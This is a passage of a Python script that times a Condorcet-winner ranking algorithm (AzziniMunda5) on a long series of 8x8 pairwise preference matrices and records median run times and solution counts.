np.median(times) result = np.append(np.array([8, 2001, 155, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1068,963,976,973,1019,1043,990], [933,0,941,956,1011,975,988,1010], [1038,1060,0,990,1019,990,1038,1029], [1025,1045,1011,0,988,1017,1014,1035], [1028,990,982,1013,0,1055,1033,1002], [982,1026,1011,984,946,0,993,1011], [958,1013,963,987,968,1008,0,981], [1011,991,972,966,999,990,1020,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 156, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,961,961,982,975,1004,1007,977], [1040,0,1002,1028,985,1031,1033,1026], [1040,999,0,995,1018,1002,1017,1006], [1019,973,1006,0,1042,1003,1050,1027], [1026,1016,983,959,0,1015,986,993], [997,970,999,998,986,0,995,973], [994,968,984,951,1015,1006,0,984], [1024,975,995,974,1008,1028,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 157, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1009,995,993,995,967,958,1012], [992,0,1010,982,1032,978,975,993], [1006,991,0,977,990,994,963,1018], [1008,1019,1024,0,1011,975,973,1015], [1006,969,1011,990,0,960,949,968], [1034,1023,1007,1026,1041,0,945,1022], [1043,1026,1038,1028,1052,1056,0,995], [989,1008,983,986,1033,979,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 158, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,933,1049,924,962,966,974,1028], [1068,0,1053,1055,1062,994,1062,1038], [952,948,0,1013,861,924,937,958], [1077,946,988,0,936,910,1015,1038], [1039,939,1140,1065,0,1030,1012,1107], [1035,1007,1077,1091,971,0,945,1046], [1027,939,1064,986,989,1056,0,1021], [973,963,1043,963,894,955,980,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 159, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,1033,1006,1071,1049,1064,1035], [1033,0,1006,974,1061,1009,1048,1037], [968,995,0,995,1002,1038,1015,1002], [995,1027,1006,0,1019,1028,994,992], [930,940,999,982,0,990,982,983], [952,992,963,973,1011,0,997,997], [937,953,986,1007,1019,1004,0,983], [966,964,999,1009,1018,1004,1018,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 160, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1173,1322,899,883,1100,1084,1079], [828,0,1001,990,898,941,887,1249], [679,1000,0,896,897,959,765,938], [1102,1011,1105,0,1002,875,1109,1071], [1118,1103,1104,999,0,993,1072,1199], [901,1060,1042,1126,1008,0,988,1007], [917,1114,1236,892,929,1013,0,1198], [922,752,1063,930,802,994,803,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 161, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,989,1052,990,1038,964,1005], [979,0,945,1011,966,967,977,970], [1012,1056,0,1087,1011,1045,1010,998], [949,990,914,0,956,984,951,958], [1011,1035,990,1045,0,1024,1022,989], [963,1034,956,1017,977,0,972,986], [1037,1024,991,1050,979,1029,0,1007], [996,1031,1003,1043,1012,1015,994,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 162, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1126,1126,1056,1063,926,1127,1044], [875,0,962,901,973,920,1198,1001], [875,1039,0,1028,994,866,1167,892], [945,1100,973,0,974,859,1045,967], [938,1028,1007,1027,0,1066,962,1033], [1075,1081,1135,1142,935,0,1151,1036], [874,803,834,956,1039,850,0,971], [957,1000,1109,1034,968,965,1030,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 163, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1018,1005,981,1040,1023,1003,1044], [983,0,1024,1020,1042,971,896,1067], [996,977,0,1007,1066,981,894,1019], [1020,981,994,0,987,1012,926,941], [961,959,935,1014,0,964,954,1082], [978,1030,1020,989,1037,0,964,1059], [998,1105,1107,1075,1047,1037,0,1103], [957,934,982,1060,919,942,898,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 164, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,986,996,1005,1071,1046,1020], [985,0,959,999,999,1051,1081,1012], [1015,1042,0,1045,991,1016,1032,993], [1005,1002,956,0,998,1002,1007,1005], [996,1002,1010,1003,0,1041,1050,959], [930,950,985,999,960,0,985,984], [955,920,969,994,951,1016,0,949], [981,989,1008,996,1042,1017,1052,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 165, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1052,959,961,1008,1003,892,1006], [949,0,1069,947,1016,931,893,879], [1042,932,0,883,1011,899,911,892], [1040,1054,1118,0,1085,1080,1000,1083], [993,985,990,916,0,1012,974,978], [998,1070,1102,921,989,0,997,937], [1109,1108,1090,1001,1027,1004,0,997], [995,1122,1109,918,1023,1064,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 166, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,997,927,966,891,987,975], [995,0,984,907,960,977,954,974], [1004,1017,0,939,985,955,993,1051], [1074,1094,1062,0,1048,1002,999,1036], [1035,1041,1016,953,0,965,1006,1046], [1110,1024,1046,999,1036,0,1030,1027], [1014,1047,1008,1002,995,971,0,1020], [1026,1027,950,965,955,974,981,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 167, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,975,996,1002,1026,1014,996,1000], [1026,0,1015,1007,994,1017,999,986], [1005,986,0,936,985,1006,954,970], [999,994,1065,0,1017,1009,984,1025], [975,1007,1016,984,0,997,1017,973], [987,984,995,992,1004,0,1009,986], [1005,1002,1047,1017,984,992,0,1015], [1001,1015,1031,976,1028,1015,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 168, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,829,933,1124,1014,1135,944,1063], [1172,0,1037,1285,1040,1280,1102,985], [1068,964,0,1193,969,1190,1043,1036], [877,716,808,0,771,1011,938,875], [987,961,1032,1230,0,1164,1065,1109], [866,721,811,990,837,0,769,928], [1057,899,958,1063,936,1232,0,955], [938,1016,965,1126,892,1073,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 169, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1011,1005,993,1017,1023,998], [1000,0,997,997,985,1020,987,981], [990,1004,0,991,1023,1030,987,1056], [996,1004,1010,0,973,1001,1001,1041], [1008,1016,978,1028,0,1009,979,1019], [984,981,971,1000,992,0,966,981], [978,1014,1014,1000,1022,1035,0,1054], [1003,1020,945,960,982,1020,947,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 170, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1005,966,969,990,1012,990,1022], [996,0,983,1013,1021,979,1003,1012], [1035,1018,0,1009,1012,991,1011,1019], [1032,988,992,0,1021,991,1018,1020], [1011,980,989,980,0,974,990,1020], [989,1022,1010,1010,1027,0,1003,1040], [1011,998,990,983,1011,998,0,1024], [979,989,982,981,981,961,977,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 171, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1015,1044,950,1014,985,1076,1088], [986,0,1036,971,1057,1014,994,917], [957,965,0,998,1115,1024,1109,1057], [1051,1030,1003,0,1038,942,1074,1009], [987,944,886,963,0,986,1045,1040], [1016,987,977,1059,1015,0,1046,1037], [925,1007,892,927,956,955,0,811], [913,1084,944,992,961,964,1190,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 172, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1043,1001,986,1043,1010,1062], [978,0,971,981,1000,1010,978,1043], [958,1030,0,971,966,990,988,1007], [1000,1020,1030,0,1015,991,1009,1054], [1015,1001,1035,986,0,1002,986,1048], [958,991,1011,1010,999,0,992,1027], [991,1023,1013,992,1015,1009,0,1022], [939,958,994,947,953,974,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 173, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,1037,993,1020,966,983,1021], [1013,0,1018,1012,1064,972,1053,1044], [964,983,0,957,1026,979,1001,983], [1008,989,1044,0,1048,1006,1032,1018], [981,937,975,953,0,944,978,970], [1035,1029,1022,995,1057,0,1025,1007], [1018,948,1000,969,1023,976,0,998], [980,957,1018,983,1031,994,1003,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 174, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,975,1014,962,1001,1011,1020,974], [1026,0,982,993,1027,1000,1025,1010], [987,1019,0,973,1036,1003,989,1017], [1039,1008,1028,0,1030,987,1020,1027], [1000,974,965,971,0,987,974,1004], [990,1001,998,1014,1014,0,1023,1037], [981,976,1012,981,1027,978,0,1001], [1027,991,984,974,997,964,1000,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 175, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1014,998,1005,1030,997,1019,990], [987,0,1030,996,1000,1018,1013,992], [1003,971,0,979,996,963,979,998], [996,1005,1022,0,1042,1017,1020,1020], [971,1001,1005,959,0,960,1005,972], [1004,983,1038,984,1041,0,1019,1014], [982,988,1022,981,996,982,0,1008], [1011,1009,1003,981,1029,987,993,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 176, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,974,944,967,955,979,1022,1030], [1027,0,979,985,984,1017,1036,1042], [1057,1022,0,1052,940,986,1019,1065], [1034,1016,949,0,1072,1048,1041,1032], [1046,1017,1061,929,0,1033,1040,1083], [1022,984,1015,953,968,0,993,1004], [979,965,982,960,961,1008,0,1011], [971,959,936,969,918,997,990,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 177, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,1011,969,1008,955,1000,981], [1005,0,969,952,990,960,976,970], [990,1032,0,994,993,1008,1003,1013], [1032,1049,1007,0,1049,997,1019,1027], [993,1011,1008,952,0,952,978,994], [1046,1041,993,1004,1049,0,1034,1001], [1001,1025,998,982,1023,967,0,991], [1020,1031,988,974,1007,1000,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 178, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,951,998,928,990,935,989], [984,0,949,996,1019,1019,955,949], [1050,1052,0,1039,1004,994,1043,984], [1003,1005,962,0,979,993,985,968], [1073,982,997,1022,0,980,967,989], [1011,982,1007,1008,1021,0,981,1006], [1066,1046,958,1016,1034,1020,0,1007], [1012,1052,1017,1033,1012,995,994,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 179, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,970,957,951,969,923,966], [1033,0,997,993,988,1022,989,1018], [1031,1004,0,1020,1021,1009,991,1022], [1044,1008,981,0,986,1004,985,991], [1050,1013,980,1015,0,1002,982,1039], [1032,979,992,997,999,0,1007,984], [1078,1012,1010,1016,1019,994,0,997], [1035,983,979,1010,962,1017,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 180, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1049,1147,1104,1197,1116,1162,989], [952,0,1045,1032,1024,974,1023,987], [854,956,0,957,953,860,987,850], [897,969,1044,0,975,913,1019,846], [804,977,1048,1026,0,952,1071,888], [885,1027,1141,1088,1049,0,1011,1007], [839,978,1014,982,930,990,0,931], [1012,1014,1151,1155,1113,994,1070,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 181, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1014,1003,955,982,988,997], [978,0,1007,948,983,977,938,987], [987,994,0,964,979,984,968,993], [998,1053,1037,0,1009,973,1011,1001], [1046,1018,1022,992,0,1024,968,1007], [1019,1024,1017,1028,977,0,975,983], [1013,1063,1033,990,1033,1026,0,994], [1004,1014,1008,1000,994,1018,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 182, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,990,979,1041,1043,1026,1022], [995,0,1027,1006,1051,1009,995,1041], [1011,974,0,1000,1018,1026,999,1019], [1022,995,1001,0,1033,1046,991,1057], [960,950,983,968,0,983,961,1017], [958,992,975,955,1018,0,950,985], [975,1006,1002,1010,1040,1051,0,1037], [979,960,982,944,984,1016,964,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 183, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,981,1004,1011,1011,1050,995], [962,0,967,977,980,979,1006,932], [1020,1034,0,1006,999,1012,1043,1005], [997,1024,995,0,960,985,993,959], [990,1021,1002,1041,0,1004,1018,959], [990,1022,989,1016,997,0,1020,965], [951,995,958,1008,983,981,0,945], [1006,1069,996,1042,1042,1036,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 184, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,1003,1021,982,999,1047,1003], [1008,0,1017,975,990,1033,1015,976], [998,984,0,999,988,1012,1031,1003], [980,1026,1002,0,981,1024,1020,976], [1019,1011,1013,1020,0,1031,1013,982], [1002,968,989,977,970,0,1036,989], [954,986,970,981,988,965,0,962], [998,1025,998,1025,1019,1012,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 185, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1230,894,1065,933,920,747,813], [771,0,1034,887,1037,1077,799,988], [1107,967,0,1041,1289,1382,1170,1070], [936,1114,960,0,1110,1347,1310,1079], [1068,964,712,891,0,1225,1197,1068], [1081,924,619,654,776,0,1027,624], [1254,1202,831,691,804,974,0,873], [1188,1013,931,922,933,1377,1128,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 186, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1059,1014,983,961,853,1031,1053], [942,0,950,853,872,1013,1022,991], [987,1051,0,1000,859,971,1092,931], [1018,1148,1001,0,1020,986,1060,957], [1040,1129,1142,981,0,1056,1085,1021], [1148,988,1030,1015,945,0,1067,1012], [970,979,909,941,916,934,0,899], [948,1010,1070,1044,980,989,1102,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 187, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,940,942,944,1007,976,961,984], [1061,0,1033,999,1045,1024,1021,1016], [1059,968,0,1032,1051,1032,995,1015], [1057,1002,969,0,1038,1005,1028,995], [994,956,950,963,0,964,963,972], [1025,977,969,996,1037,0,992,978], [1040,980,1006,973,1038,1009,0,994], [1017,985,986,1006,1029,1023,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 188, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1090,990,1078,1085,1006,1043], [988,0,1106,1008,1009,1051,995,1061], [911,895,0,959,890,976,951,931], [1011,993,1042,0,1031,1019,1074,1010], [923,992,1111,970,0,999,987,1025], [916,950,1025,982,1002,0,1037,989], [995,1006,1050,927,1014,964,0,1040], [958,940,1070,991,976,1012,961,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 189, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1090,1030,943,951,921,1040,1074], [911,0,968,953,929,918,1032,971], [971,1033,0,897,1001,979,981,947], [1058,1048,1104,0,988,1028,1032,1023], [1050,1072,1000,1013,0,1001,1029,1060], [1080,1083,1022,973,1000,0,1108,1059], [961,969,1020,969,972,893,0,969], [927,1030,1054,978,941,942,1032,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 190, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,928,994,953,947,978,996,945], [1073,0,1051,989,1027,980,1004,1010], [1007,950,0,918,954,978,992,985], [1048,1012,1083,0,997,1050,994,1039], [1054,974,1047,1004,0,1021,1010,1041], [1023,1021,1023,951,980,0,1042,1030], [1005,997,1009,1007,991,959,0,976], [1056,991,1016,962,960,971,1025,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 191, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,910,997,989,957,966,985], [1008,0,1046,1000,1052,1060,1055,1074], [1091,955,0,1002,1050,1030,997,996], [1004,1001,999,0,1005,968,996,997], [1012,949,951,996,0,963,998,969], [1044,941,971,1033,1038,0,1031,1049], [1035,946,1004,1005,1003,970,0,1015], [1016,927,1005,1004,1032,952,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 192, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,971,1024,969,992,1019,983,964], [1030,0,1016,986,999,1016,1005,992], [977,985,0,952,990,1011,956,1001], [1032,1015,1049,0,1031,1044,986,1014], [1009,1002,1011,970,0,1027,1012,949], [982,985,990,957,974,0,979,963], [1018,996,1045,1015,989,1022,0,1013], [1037,1009,1000,987,1052,1038,988,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 193, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,960,968,1021,1022,973,1028], [997,0,966,973,1034,1028,1018,1032], [1041,1035,0,985,1021,1025,1022,1041], [1033,1028,1016,0,1024,999,1001,1019], [980,967,980,977,0,953,935,973], [979,973,976,1002,1048,0,967,1022], [1028,983,979,1000,1066,1034,0,1018], [973,969,960,982,1028,979,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 194, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1077,967,1052,1045,1067,1021,1033], [924,0,942,961,1001,956,953,976], [1034,1059,0,991,1075,981,1009,1020], [949,1040,1010,0,1000,970,1010,1009], [956,1000,926,1001,0,976,941,1000], [934,1045,1020,1031,1025,0,1073,974], [980,1048,992,991,1060,928,0,1042], 